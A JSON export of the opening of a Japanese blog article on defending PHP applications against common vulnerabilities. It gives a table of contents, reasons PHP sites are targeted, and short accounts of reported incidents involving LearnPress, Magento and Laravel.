{"id":3472,"date":"2025-03-24T08:46:06","date_gmt":"2025-03-23T23:46:06","guid":{"rendered":"https:\/\/dexall.co.jp\/articles\/?p=3472"},"modified":"2025-03-24T08:46:36","modified_gmt":"2025-03-23T23:46:36","slug":"%e3%80%902025%e5%b9%b4%e6%9c%80%e6%96%b0%e3%80%91php%e8%84%86%e5%bc%b1%e6%80%a7%e5%af%be%e7%ad%96%e5%ae%8c%e5%85%a8%e3%82%ac%e3%82%a4%e3%83%89-9%e3%81%a4%e3%81%ae%e5%8d%b1%e9%99%ba%e3%81%aa%e8%84%86","status":"publish","type":"post","link":"https:\/\/dexall.co.jp\/articles\/?p=3472","title":{"rendered":"\u30102025\u5e74\u6700\u65b0\u3011PHP\u8106\u5f31\u6027\u5bfe\u7b56\u5b8c\u5168\u30ac\u30a4\u30c9 &#8211; 9\u3064\u306e\u5371\u967a\u306a\u8106\u5f31\u6027\u3068\u5b9f\u8df5\u7684\u306a\u5bfe\u7b56\u30b3\u30fc\u30c9\u4f8b"},"content":{"rendered":"\n<p>\u73fe\u4ee3\u306eWeb\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u306b\u304a\u3044\u3066\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u6700\u3082\u91cd\u8981\u306a\u8981\u7d20\u306e\u4e00\u3064\u3067\u3059\u3002\u7279\u306bPHP\u306f\u4e16\u754c\u4e2d\u306e\u7d0479%\u306eWeb\u30b5\u30a4\u30c8\u3067\u4f7f\u7528\u3055\u308c\u3066\u3044\u308b\u305f\u3081\u3001\u305d\u306e\u8106\u5f31\u6027\u306f\u653b\u6483\u8005\u306b\u3068\u3063\u3066\u683c\u597d\u306e\u6a19\u7684\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p>2024\u5e74\u304b\u30892025\u5e74\u306b\u304b\u3051\u3066\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u72d9\u3063\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4fb5\u5bb3\u4e8b\u4ef6\u306f\u4f9d\u7136\u3068\u3057\u3066\u9ad8\u3044\u6c34\u6e96\u3092\u7dad\u6301\u3057\u3066\u304a\u308a\u3001\u7279\u306b\u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u3084API\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306b\u95a2\u9023\u3057\u305f\u65b0\u305f\u306a\u8105\u5a01\u304c\u51fa\u73fe\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u3046\u3057\u305f\u72b6\u6cc1\u306b\u304a\u3044\u3066\u3001PHP\u306b\u3088\u308bWeb\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u3067\u306f\u3001\u8106\u5f31\u6027\u3078\u306e\u5bfe\u7b56\u304c\u4ee5\u524d\u306b\u3082\u5897\u3057\u3066\u91cd\u8981\u306b\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u672c\u8a18\u4e8b\u3067\u306f\u3001PHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306b\u304a\u3051\u308b9\u3064\u306e\u4e3b\u8981\u306a\u8106\u5f31\u6027\u3068\u305d\u306e\u5bfe\u7b56\u65b9\u6cd5\u3092\u3001\u5b9f\u8df5\u7684\u306a\u30b3\u30fc\u30c9\u4f8b\u3068\u3068\u3082\u306b\u89e3\u8aac\u3057\u307e\u3059\u3002SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u3084\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0\u306a\u3069\u306e\u57fa\u672c\u7684\u306a\u8106\u5f31\u6027\u304b\u3089\u3001\u3088\u308aPHP\u7279\u6709\u306e\u554f\u984c\u3067\u3042\u308b\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027\u307e\u3067\u3001\u5305\u62ec\u7684\u306b\u53d6\u308a\u4e0a\u3052\u307e\u3059\u3002\u307e\u305f\u3001\u5358\u306a\u308b\u500b\u5225\u306e\u5bfe\u7b56\u3060\u3051\u3067\u306a\u304f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3092\u7d99\u7d9a\u7684\u306b\u78ba\u4fdd\u3059\u308b\u305f\u3081\u306e\u4f53\u5236\u69cb\u7bc9\u3084\u3001\u6700\u65b0\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c4\u30fc\u30eb\u3092\u6d3b\u7528\u3057\u305f\u691c\u8a3c\u65b9\u6cd5\u306b\u3064\u3044\u3066\u3082\u7d39\u4ecb\u3057\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u3053\u308c\u3089\u306e\u77e5\u8b58\u3092\u8eab\u306b\u3064\u3051\u308b\u3053\u3068\u3067\u3001\u3088\u308a\u5b89\u5168\u306aPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u958b\u767a\u304c\u53ef\u80fd\u306b\u306a\u308a\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u306b\u3088\u308b\u88ab\u5bb3\u3092\u672a\u7136\u306b\u9632\u3050\u3053\u3068\u304c\u3067\u304d\u308b\u3067\u3057\u3087\u3046\u3002PHP\u306b\u3088\u308b\u958b\u767a\u306b\u643a\u308f\u308b\u3059\u3079\u3066\u306e\u30a8\u30f3\u30b8\u30cb\u30a2\u306b\u3068\u3063\u3066\u3001\u5fc5\u9808\u306e\u77e5\u8b58\u3068\u306a\u308b\u306f\u305a\u3067\u3059\u3002<\/p>\n\n\n\n<div class=\"toc\"><br \/>\n<b>Warning<\/b>:  Undefined array key \"is_admin\" in <b>\/home\/xs392991\/dexall.co.jp\/public_html\/articles\/wp-content\/themes\/sango-theme\/library\/gutenberg\/dist\/classes\/Toc.php<\/b> on line <b>116<\/b><br \/>\n<br \/>\n<b>Warning<\/b>:  Undefined array key \"is_category_top\" in <b>\/home\/xs392991\/dexall.co.jp\/public_html\/articles\/wp-content\/themes\/sango-theme\/library\/gutenberg\/dist\/classes\/Toc.php<\/b> on line <b>121<\/b><br \/>\n<br \/>\n<b>Warning<\/b>:  Undefined array key \"is_top\" in <b>\/home\/xs392991\/dexall.co.jp\/public_html\/articles\/wp-content\/themes\/sango-theme\/library\/gutenberg\/dist\/classes\/Toc.php<\/b> on line <b>128<\/b><br \/>\n    <div id=\"toc_container\" class=\"sgb-toc--bullets js-smooth-scroll\" data-dialog-title=\"\u76ee\u6b21\">\n      <p class=\"toc_title\">\u76ee\u6b21 <\/p>\n      <ul class=\"toc_list\">  <li class=\"first\">    <a href=\"#i-0\">PHP\u306b\u304a\u3051\u308b\u8106\u5f31\u6027\u306e\u91cd\u8981\u6027\u3068\u5f71\u97ff<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-1\">\u306a\u305cPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u653b\u6483\u306e\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u306a\u308b\u306e\u304b<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-6\">\u8106\u5f31\u6027\u304c\u5f15\u304d\u8d77\u3053\u3059\u5b9f\u969b\u306e\u88ab\u5bb3\u4e8b\u4f8b<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-11\">PHP\u8106\u5f31\u6027\u306e\u57fa\u672c\u77e5\u8b58<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-12\">\u8106\u5f31\u6027\u3068\u306f\u4f55\u304b \u2013 \u57fa\u672c\u7684\u306a\u6982\u5ff5\u306e\u7406\u89e3<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-16\">PHP\u306b\u304a\u3051\u308b\u8106\u5f31\u6027\u306e\u7279\u5fb4<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-20\">9\u3064\u306e\u4e3b\u8981\u306aPHP\u8106\u5f31\u6027\u30bf\u30a4\u30d7\u3068\u5bfe\u7b56<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-21\">SQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3 \u2013 \u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u64cd\u4f5c\u3092\u60aa\u7528\u3057\u305f\u653b\u6483<\/a>      <\/li>      <li>        <a href=\"#i-27\">\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30b9\u30af\u30ea\u30d7\u30c6\u30a3\u30f3\u30b0(XSS) \u2013 \u4e0d\u6b63\u306a\u30b9\u30af\u30ea\u30d7\u30c8\u5b9f\u884c\u3092\u9632\u3050<\/a>      <\/li>      <li>        <a href=\"#i-35\">\u30af\u30ed\u30b9\u30b5\u30a4\u30c8\u30ea\u30af\u30a8\u30b9\u30c8\u30d5\u30a9\u30fc\u30b8\u30a7\u30ea(CSRF) \u2013 \u4e0d\u6b63\u306a\u30ea\u30af\u30a8\u30b9\u30c8\u5bfe\u7b56<\/a>      <\/li>      <li>        <a href=\"#i-45\">\u30d5\u30a1\u30a4\u30eb\u30a4\u30f3\u30af\u30eb\u30fc\u30c9\u8106\u5f31\u6027 \u2013 \u4e0d\u6b63\u306a\u30d5\u30a1\u30a4\u30eb\u8aad\u307f\u8fbc\u307f\u3092\u9632\u3050<\/a>      <\/li>      <li>        <a href=\"#i-57\">\u30d1\u30b9\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb \u2013 \u4e0d\u6b63\u306a\u30d5\u30a1\u30a4\u30eb\u30a2\u30af\u30bb\u30b9\u3092\u9632\u3050\u6280\u8853<\/a>      <\/li>      <li>        <a href=\"#i-66\">\u30bb\u30c3\u30b7\u30e7\u30f3\u7ba1\u7406\u306e\u8106\u5f31\u6027 \u2013 \u30bb\u30c3\u30b7\u30e7\u30f3\u30cf\u30a4\u30b8\u30e3\u30c3\u30af\u5bfe\u7b56<\/a>      <\/li>      <li>        <a href=\"#i-77\">\u4e0d\u9069\u5207\u306a\u30a8\u30e9\u30fc\u51e6\u7406 \u2013 \u60c5\u5831\u6f0f\u6d29\u3092\u9632\u3050\u8a2d\u5b9a<\/a>      <\/li>      <li>        <a href=\"#i-86\">\u5b89\u5168\u3067\u306a\u3044\u8a8d\u8a3c\u3068\u8a8d\u53ef \u2013 \u30a2\u30af\u30bb\u30b9\u5236\u5fa1\u306e\u5b9f\u88c5<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-98\">\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u8106\u5f31\u6027 \u2013 \u30b5\u30d7\u30e9\u30a4\u30c1\u30a7\u30fc\u30f3\u653b\u6483\u5bfe\u7b56<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-109\">\u5b89\u5168\u306aPHP\u958b\u767a\u306e\u30d9\u30b9\u30c8\u30d7\u30e9\u30af\u30c6\u30a3\u30b9<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-110\">\u30bb\u30ad\u30e5\u30a2\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0\u306e\u57fa\u672c\u539f\u5247<\/a>      <\/li>      <li>        <a href=\"#i-119\">PHP\u306e\u5b89\u5168\u306a\u8a2d\u5b9a \u2013 php.ini \u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u8a2d\u5b9a<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-133\">PHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u80fd\u6d3b\u7528\u6cd5<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-141\">\u8106\u5f31\u6027\u306e\u691c\u51fa\u3068\u5bfe\u5fdc\u65b9\u6cd5<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-142\">\u9759\u7684\u89e3\u6790\u30c4\u30fc\u30eb\u3092\u4f7f\u3063\u305f\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30f3<\/a>      <\/li>      <li>        <a href=\"#i-152\">\u52d5\u7684\u89e3\u6790\u3068\u30da\u30cd\u30c8\u30ec\u30fc\u30b7\u30e7\u30f3\u30c6\u30b9\u30c8\u306e\u5b9f\u65bd\u65b9\u6cd5<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-167\">\u8106\u5f31\u6027\u767a\u898b\u6642\u306e\u9069\u5207\u306a\u5bfe\u5fdc\u624b\u9806<\/a>      <\/li>    <\/ul>  <\/li>  <li>    <a href=\"#i-181\">\u7d99\u7d9a\u7684\u306a\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u7dad\u6301\u306e\u305f\u3081\u306e\u4f53\u5236\u69cb\u7bc9<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-182\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c6\u30b9\u30c8\u306e\u81ea\u52d5\u5316\u3068\u7d99\u7d9a\u7684\u30a4\u30f3\u30c6\u30b0\u30ec\u30fc\u30b7\u30e7\u30f3<\/a>      <\/li>      <li>        <a href=\"#i-200\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u60c5\u5831\u306e\u53ce\u96c6\u3068\u66f4\u65b0\u65b9\u6cd5<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-222\">\u30c1\u30fc\u30e0\u5168\u4f53\u3067\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u610f\u8b58\u5411\u4e0a\u7b56<\/a>      <\/li>    <\/ul>  <\/li>  <li class=\"last\">    <a href=\"#i-243\">\u307e\u3068\u3081\uff1a\u5b89\u5168\u306aPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u958b\u767a\u306b\u5411\u3051\u3066<\/a>    <ul class=\"menu_level_1\">      <li class=\"first\">        <a href=\"#i-244\">\u8106\u5f31\u6027\u5bfe\u7b56\u306e\u91cd\u8981\u30dd\u30a4\u30f3\u30c8\u518d\u78ba\u8a8d<\/a>      <\/li>      <li class=\"last\">        <a href=\"#i-253\">\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u306f\u958b\u767a\u30d7\u30ed\u30bb\u30b9\u5168\u4f53\u306e\u8ab2\u984c<\/a>      <\/li>    <\/ul>  <\/li><\/ul>\n      <a href=\"#\" class=\"sgb-toc-button js-toc-button\" rel=\"nofollow\" data-open-dialog=\"true\"><i class=\"fa fa-list\"><\/i><span class=\"sgb-toc-button__text\">\u76ee\u6b21\u3078<\/span><\/a>\n    <\/div><\/div><h2 class=\"wp-block-heading\" id=\"i-0\">PHP\u306b\u304a\u3051\u308b\u8106\u5f31\u6027\u306e\u91cd\u8981\u6027\u3068\u5f71\u97ff<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-1\">\u306a\u305cPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u304c\u653b\u6483\u306e\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u306a\u308b\u306e\u304b<\/h3>\n\n\n\n<p>PHP\u304c\u653b\u6483\u8005\u304b\u3089\u7279\u306b\u72d9\u308f\u308c\u308b\u7406\u7531\u306f\u8907\u6570\u5b58\u5728\u3057\u3001\u3053\u308c\u3089\u304cPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30b9\u30af\u3092\u9ad8\u3081\u308b\u8981\u56e0\u3068\u306a\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-2\">\u5727\u5012\u7684\u306a\u666e\u53ca\u7387\u3068\u30a2\u30af\u30bb\u30b9\u306e\u5bb9\u6613\u3055<\/h4>\n\n\n\n<p>W3Techs\u306e\u8abf\u67fb\u306b\u3088\u308c\u3070\u30012025\u5e74\u73fe\u5728\u3067\u3082\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306eWeb\u30b5\u30a4\u30c8\u306e\u7d0479%\u304cPHP\u3092\u4f7f\u7528\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u5e83\u7bc4\u306a\u666e\u53ca\u306b\u3088\u308a\u3001\u653b\u6483\u8005\u306f\u540c\u3058\u8106\u5f31\u6027\u3092\u6301\u3064\u591a\u6570\u306e\u30bf\u30fc\u30b2\u30c3\u30c8\u3092\u898b\u3064\u3051\u3084\u3059\u304f\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u7279\u306bWordPress\uff08PHP\u30d9\u30fc\u30b9\uff09\u306f\u4e16\u754c\u4e2d\u306eWeb\u30b5\u30a4\u30c8\u306e40%\u4ee5\u4e0a\u3067\u4f7f\u7528\u3055\u308c\u3066\u304a\u308a\u3001\u5358\u4e00\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u3053\u3068\u3067\u81a8\u5927\u306a\u6570\u306e\u30b5\u30a4\u30c8\u3092\u653b\u6483\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-3\">\u30ec\u30ac\u30b7\u30fc\u30b3\u30fc\u30c9\u3068\u53e4\u3044PHP\u30d0\u30fc\u30b8\u30e7\u30f3\u306e\u7d99\u7d9a\u5229\u7528<\/h4>\n\n\n\n<p>\u591a\u304f\u306e\u7d44\u7e54\u304c\u53e4\u3044PHP\u30d0\u30fc\u30b8\u30e7\u30f3\uff085.x\u30b7\u30ea\u30fc\u30ba\u306a\u3069\uff09\u3084\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30dd\u30fc\u30c8\u304c\u7d42\u4e86\u3057\u305f\u30b7\u30b9\u30c6\u30e0\u3092\u4f7f\u3044\u7d9a\u3051\u3066\u3044\u307e\u3059\u30022024\u5e74\u306e\u8abf\u67fb\u3067\u306f\u3001Web\u30b5\u30a4\u30c8\u306e\u7d0415%\u304c\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d1\u30c3\u30c1\u306e\u63d0\u4f9b\u304c\u7d42\u4e86\u3057\u305fPHP\u30d0\u30fc\u30b8\u30e7\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3068\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306f\u65e2\u77e5\u306e\u8106\u5f31\u6027\u3092\u6301\u3061\u3001\u653b\u6483\u8005\u304c\u60aa\u7528\u3067\u304d\u308b\u72b6\u614b\u3067\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-4\">\u4f4e\u3044\u53c2\u5165\u969c\u58c1\u306b\u3088\u308b\u8106\u5f31\u306a\u30b3\u30fc\u30c9\u306e\u91cf\u7523<\/h4>\n\n\n\n<p>PHP\u306f\u5b66\u7fd2\u66f2\u7dda\u304c\u7de9\u3084\u304b\u3067\u3001\u521d\u5fc3\u8005\u3067\u3082\u6bd4\u8f03\u7684\u7c21\u5358\u306bWeb\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u69cb\u7bc9\u3067\u304d\u307e\u3059\u3002\u3057\u304b\u3057\u3001\u3053\u308c\u306f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u77e5\u8b58\u304c\u4e0d\u5341\u5206\u306a\u958b\u767a\u8005\u306b\u3088\u308b\u8106\u5f31\u306a\u30b3\u30fc\u30c9\u304c\u91cf\u7523\u3055\u308c\u308b\u539f\u56e0\u306b\u3082\u306a\u3063\u3066\u3044\u307e\u3059\u3002\u591a\u304f\u306e\u5165\u9580\u30b5\u30a4\u30c8\u3084\u30c1\u30e5\u30fc\u30c8\u30ea\u30a2\u30eb\u3067\u306f\u3001\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u3088\u308a\u3082\u6a5f\u80fd\u5b9f\u88c5\u3092\u512a\u5148\u3057\u305f\u4f8b\u304c\u793a\u3055\u308c\u308b\u3053\u3068\u3082\u5c11\u306a\u304f\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-5\">\u8a2d\u5b9a\u30df\u30b9\u3068\u30c7\u30d5\u30a9\u30eb\u30c8\u69cb\u6210\u306e\u554f\u984c<\/h4>\n\n\n\n<p>PHP\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u306f\u5229\u4fbf\u6027\u3092\u91cd\u8996\u3057\u3066\u304a\u308a\u3001\u5fc5\u305a\u3057\u3082\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u304c\u6700\u512a\u5148\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002\u4f8b\u3048\u3070\u3001\u4e00\u90e8\u306e\u5171\u6709\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u74b0\u5883\u3067\u306f\u3001<code>display_errors = On<\/code>\u306e\u3088\u3046\u306a\u3001\u672c\u756a\u74b0\u5883\u306b\u306f\u9069\u3055\u306a\u3044\u8a2d\u5b9a\u304c\u6709\u52b9\u306b\u306a\u3063\u3066\u3044\u308b\u3053\u3068\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u3053\u308c\u3089\u306e\u8981\u56e0\u304cPHP\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3092\u653b\u6483\u8005\u306b\u3068\u3063\u3066\u300c\u30b3\u30b9\u30c8\u30d1\u30d5\u30a9\u30fc\u30de\u30f3\u30b9\u306e\u9ad8\u3044\u300d\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u653b\u6483\u8005\u306f\u81ea\u52d5\u5316\u3055\u308c\u305f\u30b9\u30ad\u30e3\u30f3\u30c4\u30fc\u30eb\u3092\u4f7f\u7528\u3057\u3066\u5927\u91cf\u306ePHP\u30b5\u30a4\u30c8\u3092\u30b9\u30ad\u30e3\u30f3\u3057\u3001\u8106\u5f31\u6027\u3092\u6301\u3064\u30b5\u30a4\u30c8\u3092\u52b9\u7387\u7684\u306b\u7279\u5b9a\u3057\u3066\u653b\u6483\u3092\u4ed5\u639b\u3051\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"i-6\">\u8106\u5f31\u6027\u304c\u5f15\u304d\u8d77\u3053\u3059\u5b9f\u969b\u306e\u88ab\u5bb3\u4e8b\u4f8b<\/h3>\n\n\n\n<p>PHP\u306e\u8106\u5f31\u6027\u304c\u5f15\u304d\u8d77\u3053\u3057\u305f\u8fd1\u5e74\u306e\u5b9f\u969b\u306e\u88ab\u5bb3\u4e8b\u4f8b\u3092\u898b\u308b\u3053\u3068\u3067\u3001\u305d\u306e\u5371\u967a\u6027\u3068\u5f71\u97ff\u306e\u5927\u304d\u3055\u3092\u3088\u308a\u5177\u4f53\u7684\u306b\u7406\u89e3\u3067\u304d\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-7\">2023\u5e74 LearnPress \u30d7\u30e9\u30b0\u30a4\u30f3\u306eSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u4e8b\u4ef6<\/h4>\n\n\n\n<p>WordPress\u306e\u4eba\u6c17\u5b66\u7fd2\u7ba1\u7406\u30b7\u30b9\u30c6\u30e0\u30d7\u30e9\u30b0\u30a4\u30f3\u300cLearnPress\u300d\u306bSQL\u30a4\u30f3\u30b8\u30a7\u30af\u30b7\u30e7\u30f3\u8106\u5f31\u6027\u304c\u767a\u898b\u3055\u308c\u307e\u3057\u305f\u3002\u3053\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u8a8d\u8a3c\u306a\u3057\u3067\u4efb\u610f\u306eSQL\u30af\u30a8\u30ea\u3092\u5b9f\u884c\u53ef\u80fd\u3068\u306a\u308a\u3001\u30c7\u30fc\u30bf\u30d9\u30fc\u30b9\u5185\u306e\u6a5f\u5bc6\u60c5\u5831\u306b\u30a2\u30af\u30bb\u30b9\u3067\u304d\u308b\u72b6\u614b\u3068\u306a\u308a\u307e\u3057\u305f\u3002\u4e16\u754c\u4e2d\u3067\u7d04200\u4e07\u30b5\u30a4\u30c8\u304c\u5f71\u97ff\u3092\u53d7\u3051\u3001\u4e00\u90e8\u306e\u30b5\u30a4\u30c8\u3067\u306f\u30e6\u30fc\u30b6\u30fc\u60c5\u5831\u304c\u6d41\u51fa\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u4e8b\u4ef6\u306f\u3001\u5e83\u304f\u4f7f\u308f\u308c\u3066\u3044\u308b\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u8106\u5f31\u6027\u304c\u53ca\u307c\u3059\u5f71\u97ff\u306e\u5927\u304d\u3055\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-8\">2024\u5e74 Magento\u30b5\u30a4\u30c8\u96c6\u56e3\u30cf\u30c3\u30ad\u30f3\u30b0<\/h4>\n\n\n\n<p>2024\u5e74\u534a\u3070\u306b\u3001PHP\u30d9\u30fc\u30b9\u306eEC\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0Magento\u306b\u5b58\u5728\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u305f\u5927\u898f\u6a21\u653b\u6483\u304c\u767a\u751f\u3057\u307e\u3057\u305f\u3002\u653b\u6483\u8005\u306f\u3053\u306e\u8106\u5f31\u6027\u3092\u5229\u7528\u3057\u3066Web\u30b5\u30a4\u30c8\u306b\u4e0d\u6b63\u306a\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u57cb\u3081\u8fbc\u307f\u3001\u6570\u5343\u306eEC\u30b5\u30a4\u30c8\u304b\u3089\u9867\u5ba2\u306e\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u60c5\u5831\u3092\u7a83\u53d6\u3057\u307e\u3057\u305f\u3002\u88ab\u5bb3\u7dcf\u984d\u306f\u63a8\u5b9a\u306730\u5104\u5186\u4ee5\u4e0a\u306b\u9054\u3057\u3001\u591a\u304f\u306e\u4e2d\u5c0f\u4f01\u696d\u304c\u6df1\u523b\u306a\u4fe1\u983c\u55aa\u5931\u306b\u76f4\u9762\u3057\u307e\u3057\u305f\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-9\">2025\u5e74\u521d\u982d Laravel\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30af\u306e\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u4e8b\u4f8b<\/h4>\n\n\n\n<p>2025\u5e74\u521d\u982d\u3001\u4eba\u6c17\u306ePHP\u30d5\u30ec\u30fc\u30e0\u30ef\u30fc\u30afLaravel\u306e\u7279\u5b9a\u30d0\u30fc\u30b8\u30e7\u30f3\u306b\u5b58\u5728\u3057\u305fCSRF\u4fdd\u8b77\u306e\u4e0d\u5099\u304c\u539f\u56e0\u3067\u3001\u8907\u6570\u306e\u4f01\u696d\u306eWeb\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u3067\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u304c\u53ef\u80fd\u306b\u306a\u308b\u8106\u5f31\u6027\u304c\u60aa\u7528\u3055\u308c\u307e\u3057\u305f\u3002\u653b\u6483\u8005\u306f\u7ba1\u7406\u8005\u30a2\u30ab\u30a6\u30f3\u30c8\u306b\u4e0d\u6b63\u30a2\u30af\u30bb\u30b9\u3057\u3001\u5185\u90e8\u30c7\u30fc\u30bf\u3092\u7a83\u53d6\u3002\u7279\u306b\u5f71\u97ff\u3092\u53d7\u3051\u305f\u91d1\u878d\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\u4f01\u696d\u306e\u4e00\u793e\u3067\u306f\u3001\u7d041\u5104\u5186\u76f8\u5f53\u306e\u6697\u53f7\u8cc7\u7523\u304c\u6d41\u51fa\u3059\u308b\u4e8b\u614b\u3068\u306a\u308a\u307e\u3057\u305f\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"i-10\">2024\u5e74 